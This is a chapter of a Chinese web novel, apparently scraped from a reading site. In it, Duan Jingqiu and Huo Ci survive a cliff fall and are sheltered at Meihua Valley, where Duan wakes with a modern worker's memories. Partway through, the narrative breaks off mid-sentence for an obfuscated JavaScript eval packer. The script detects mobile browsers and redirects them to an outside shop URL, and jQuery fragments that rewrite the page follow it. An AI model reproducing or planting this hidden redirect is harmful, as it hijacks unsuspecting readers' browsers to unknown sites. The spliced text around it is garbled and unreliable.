人脑中能够记起的大场面是有限的。
但至少在最后短暂的人生中霍辞觉得自己应该永远忘不了眼前少女脆弱却又强撑着笑起的神情。
她问自己的真名。
对了,自己骗了她,但这又有什么关系呢?只要她还在眼前,就算是兴师问罪他也只觉得满足。
但很显然,段惊秋并没有这样的想法。
追兵很快就赶了过来,林呈首当其冲。
“你没有机会了。”
随着一声令下,一圈官兵便围了上来。
此刻的段惊秋意识严重模糊,什么都看不清,但只是凭借本能的挥扇。
眼中只剩下模糊的板块,唯有鲜血的红色尚且刺激着她能够坚持下来。
霍辞同样提剑抵抗,但每逢偷袭都会被段惊秋精准的拦下来。
敌人越来越多。
他们也变成了血人,少部分是自己的,大多数是别人身上的。
随着力气的消磨,段惊秋支撑不住手臂被人狠狠砍了一刀。
只是想到自己即将要死了,就忍不住的悲伤。
她还没有报仇呢,还没有过上好日子。
凭什么!
凭什么因为别人就断送了自己的命运?从未有过的这样顽强想要活下来的感觉。
她回头深深看了一眼霍辞,又看向他身后深不见底的深渊。
“抱紧我。”
霍辞听不清,只凭借口型大致的辨别出来。
当即就明白了她的意思。
死又何妨,要是可以和她一起也不算孤单。
“好。”
霍辞笑着点了点头,几乎在自己同意的一瞬间,段惊秋就冲上来紧紧搂住他的肩膀一跃而下。
强烈的失重感瞬间包围两个人,霍辞的手缓缓搂过段惊秋的背,一股温热的液体弥漫在手心。
铁爪几乎贯穿了段惊秋的整个腰腹部。
刚才又着急赶过来,激烈的动作加剧了伤口撕裂。
“我不叫李秋。”
耳边传来段惊秋微弱的声音。
“什么?"
霍辞没有听清,又搂得更近,耳朵更加贴近段惊秋的脸颊。
“我叫段惊秋。”
他再次感受到女子微弱的气息。
“帮我···报仇。”
段惊秋,藏扇山庄庄主的女儿。
只是听到这个名字,便反应了过来。
来不及做出什么想法,怀中的少女陡然朝他身上一推,就在云水那次一样,剧烈的疼痛环绕自己的肩膀,随后便化为温和的力道,紧紧贴着他的衣领。
于此同时一柄短剑沿着衣服死死的钉在崖壁的缝隙处。
连带着霍辞整个人都钉在那里。
眼睁睁的看着段惊秋坠落,逐渐消失视线。
“段惊秋!”
他不明白,巨大的落差没有让他觉得有死里逃生的庆幸,只是觉得自己不应该活着。
他对不起段惊秋的坦诚。
从一开始就是谎言交织弥漫的,明明自己有时候经常生气,明明自己是为了另一个女人才跟她相遇。
不过几个月的时间,不过······
想到这里,霍辞急忙转身,此处的崖壁大有可以攀爬的突起平台,匕首定的很死,像是用尽了全力,也让霍辞没有办法挣脱。
无奈他只好脱了自己的衣服,一点一点的往下爬。
天不遂人愿,没过多久,天空开始淅淅沥沥的下起小雨,像是在无声祷告。
崖壁同样变得光滑,几乎难以动弹。
就在霍辞即将绝望的时候,老天又给他指了一条明路,脚下开始响起河水奔腾的响声。
希望从死寂又变得渺茫,段惊秋是不是还活着?
一想到这里,霍辞直接松开双手往后倒去。
若是赌错了,黄泉路上也不孤单。
随着一声巨大的响声,浑浊的河水涌入他的口鼻,他挣扎着起身,一抹熟悉绿意也出现在岸边。
“段惊秋!”
霍辞急忙跑过去,还有一点气息。
如果这是老天在戏弄他,那他也甘之如饴。
······
雨水顺着宽厚的叶子滴下,落在段惊秋苍白的脸上。
平日里都是段惊秋背自己,第一次背她竟然是在这样的情况下。
耳边的呼吸虽然微弱,但很安心,霍辞嘴角勾过一抹笑容,脚下的步伐却逐渐加快。
他已经没有多少时间了,雨越下越大。
背上少女温热的触感也在逐渐消散。
他不语,想急迫的抓住少女不断流逝的生命。
不知走了多久,天色已经暗了下去。
远处飘来一股刺鼻的香味,但这在霍辞的眼中就是希望,他顾不得身上被血味吸引来钻进伤口的虫蚁。
就在失去意识的最后时刻,看到了远处匆匆赶来的人影。
倒下前,他还紧紧把段惊秋护在怀里,耳边传来焦急的声音就如助眠曲,促使着霍辞缓缓闭上双眼。
······
“这真的是你妹妹?”
“不然呢?”
“那她怎么会伤成这样?”
“不清楚。”
“?”
等等!耳边怎么有声音?
段惊秋只记得自己努力加班一周后,喜提老板一句好人卡夸赞。
等等,加班费呢?天理呢?公道呢?
好不容易下班,拖着疲惫的身躯回到家里,连饭都来不及吃躺倒床上,耳边就出现了喋喋不休的争吵。
不知道是谁的声音。
“闭嘴!吵死了。”
段惊秋强撑着吼出声,周围立刻安静下来。
什么妹不妹的。
段惊暄呆愣在原地,有些不可置信的看向床上被包成木乃伊的段惊秋。
转过头,看着眼前同样震惊的江暖。
“她···刚刚是不是说话了?”
手中的药碗不受控的掉落,一声清脆响声弥漫在整个房间。
随后便是一声声激烈的惨叫回荡在梅花谷。
“梅桦师傅!我妹妹醒了!”
远处正在山谷外尝试联系燕西的霍辞听到动静,不容脑中有什么反应,身体便先一步做出了反应。
事情还要从掉崖那一日说起,醒来的时候身边围了不少人。
映入眼帘的是一位身着红袍的艳丽女子,身后跟着两个年轻人。
看装扮是江湖人士,仔细观察,貌似很符合张小妹所说的一男一女,男的长相···
霍辞不由得愣在原地,真像,除了眉毛唇形,这眼睛还有脸型什么的真是和段惊秋一摸一样。
不等霍辞开口说话,一道劲风扑面而来,再睁眼那柄和段惊秋做给自己的扇子很像的扇尖就贴在自己喉咙处。
“你是南晋人?怎么把我妹伤成那个样子?”
“你妹?段惊秋?”
霍辞先是迟疑,但准确来讲,他的反应有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902127|212743||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些可笑。
红衣女子摆了摆手,示意她来说,只是走两步的间隙,屋内就弥漫出来强烈的压迫感,“远山城的事怕跟你们有关系吧。”
霍辞点头也不再隐瞒。
如实说了出去。
他怕自己说慢点就要身首异处了,红衣女人微皱的眉也舒展了一些。
她就喜欢听人说实话。
实话到哪种程度呢?就包括自己叫什么,以及来北凉做什么。
真假也无法确定。
眼中流露的真实情感倒不像是假的。
但这也成功惹怒了段惊暄,“我妹妹为了你可能永远都醒不过来了,你却是为了另一个女人?”
对于自己未来小姑子的不幸遭遇,江暖同样非常厌恶眼前看起来衣冠楚楚的男人。
并当即要把他扔出去。
但谷主梅桦不这么想,她已经过了能够撕心裂肺的年龄,但对于这些年轻人之间发生的爱恨情仇很是喜欢,身边这一对看得有些无聊了,新来的倒是可以解解闷。
想到这里,当即下定决心要将两个人留下来。
哪怕段惊暄再不同意,也只能打碎牙往肚子里吞。
但他们口中再也醒不过来,犹如晴天霹雳打在霍辞的心里。
其实是由夸张的成分。
但耐不住梅桦爱看。
从那一日起,整整半个多月,她就亲自时常呆在在段惊秋房间附近,看着霍辞进进出出,守在床边自顾自的说些什么。
她就发现了,对于霍辞这种比较闷骚的,看起来就是比较有意思。
平日里什么都不说,老老实实,一到段惊秋面前就截然不同了。
但其实要是段惊秋醒着,一定也会受不了的。
霍辞因为听信了梅桦的谗言,再加上段惊暄的恶意敲打,十分肯定的认为这一切都是因为自己。
如果不是因为自己的一意孤行,如果自己拦住她,段惊秋就不会这样了。
迟迟不见燕西的消息,但在这期间他收到了不夜城那边传来的消息,说是公主已经等不及了。
霍辞以往可能会心急,会焦虑。
现在却是面色平静的看着信件,那就再等等吧,段惊秋没有醒过来他就不会走。
倒不是因为贪图秘法,只是为了确保她能够安全醒来。
如果她醒不过来的话,霍辞已经想好了,公主那边他自会安排,再加上远山已经乱了,就算不用秘法,他同样有机会带回公主。
段惊秋发出半月来唯一的一次动静后就再次陷入沉寂。
对此,段惊暄再次将罪责怪在了霍辞身上,而他只是静静听着,没有反驳。
殊不知,段惊秋之所以没有动静只是因为她在吸收信息。
比如她好不容易睡一会,又得被迫接受在这个世界的记忆。
信息剥离最为痛苦,这种根深蒂固的现代人思想,猛然插入另一段如此不真实的画面。
其实到目前为止她都已经接受了,两种思想记忆渐渐交融,直至清晰。
都记起来了。
段惊秋自嘲道。
还以为失忆了,原来只是开机慢了一点吗。
对此,她只有一句话。
世界毁灭吧。
好不容易静一点,她就听到外边的争吵,是记忆开头的两个声音,另一个她猜是霍辞,但现在就跟鹌鹑一样,默不作声的。
真烦人啊!
她再也控制不住冲动的再次喊出。
“都别吵了!”